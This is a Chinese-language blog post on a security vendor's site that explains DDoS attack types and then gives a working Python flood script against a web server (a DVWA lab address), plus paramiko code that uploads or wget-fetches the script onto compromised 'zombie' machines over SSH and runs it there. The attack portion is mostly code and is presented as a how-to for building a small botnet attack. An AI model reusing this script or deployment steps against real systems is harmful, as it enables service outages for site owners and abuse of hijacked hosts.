行业动态

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
python编写DDoS攻击脚本
2021-09-19 17:03:44 【

一、什么是DDoS攻击

DDoS攻击就是分布式的拒绝服务攻击,DDoS攻击手段是在传统的DoS攻击基础之上产生的一类攻击方式。单一的DoS攻击一般是采用一对一方式的,随着计算机与网络技术的发展,DoS攻击的困难程度加大了。于是就产生了DDoS攻击,它的原理就很简单:计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用,那么DDoS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。

二、DDoS分类

作为目前最强大、最难防御的攻击之一,DDos攻击主要分为两种。

  1. 以力取胜:海量的数据包从互联网各个角落蜂拥而来,堵塞IDC入口,典型的为ICMP Flood和UDP Flood(消耗带宽)。

  2. 以巧取胜:主要是利用协议或者软件的漏洞发起,如Slowloris攻击,hash冲突。(协议攻击)

  3. 混合:上述两种混合,即利用协议、系统的缺陷,又具备海量的资源,如SYN Flood攻击,DNS Query Flood攻击。

三、编写DDoS攻击脚本

  • 编写DDoS攻击脚本,原理是使用socket连接到目标网站,并发送大量http请求,从而耗尽受攻击网站资源:

import socketimport timeimport threadingMAX_CONN = 100# 设置连接的数量PORT = 80# 设置端口号 HOST = "10.16.53.180"# 设置IP地址PAGE = "/DVWA"buf = ("GET %s HTTP/1.1\r\n""Host: %s\r\n""User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n""Content-Length: 1000000000\r\n""\r\n" % (PAGE, HOST))  # HTTP请求socks = []defconn_thread():global socks    for i inrange(0, MAX_CONN):        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        try:            s.connect((HOST, PORT))            s.send(bytes(buf, encoding='utf-8'))  # 发送HTTP请求            print("[+] Send buf OK!,conn=%d" % i)            socks.append(s)        except Exception as ex:            print("[-] Could not connect to server or send error:%s" % ex)            time.sleep(2)defsend_thread():global socks    for i inrange(10):        for s in socks:            try:                s.send(bytes("ddos", encoding='utf-8'))  # ddos攻击                print("[+] send OK!")            except Exception as ex:                print("[-] send Exception:%s" % ex)                socks.remove(s)                s.close()        time.sleep(1)conn_th = threading.Thread(target=conn_thread, args=())send_th = threading.Thread(target=send_thread, args=())conn_th.start()send_th.start()
  • 连接到“傀儡机”,也就是我们常说的“肉鸡”,通过ssh进行连接,并将ddos脚本上传到“肉鸡”,方式有许多种,这里介绍两种。

  1. 直接通过python的paramiko模块上传文件到远端:

import paramikot = paramiko.Transport(("IP地址",22))t.connect(username = "用户名", password = "密码")sftp = paramiko.SFTPClient.from_transport(t)remotepath='/home/ddos.py'localpath='D:\ddos\ddos.py'sftp.put(localpath,remotepath)t.close()
  1. 在本地开启apache服务,向远端发送wget http://10.16.14.171/ddos.py -O ddos.py指令,下载apache服务器目录下的ddos.py脚本:

import paramikossh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())ssh.connect('10.16.66.71', 22, '用户名', '密码')stdin, stdout, stderr = ssh.exec_command('wget http://10.16.14.171/ddos.py -O ddos.py')

上述两种办法适用于Windows平台,想在linux平台上实现,可以使用pexpect模块实现ssh连接。

  1. 运行脚本:

stdin, stdout, stderr = ssh.exec_command('python3 ddos.py')


】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇缓解DDoS攻击的5个最佳实践 下一篇web服务器的配置步骤是怎么样的?

立足首都,辐射全球,防御吧专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
E-Mail:800@fangyuba.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解决防御与加速) 版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800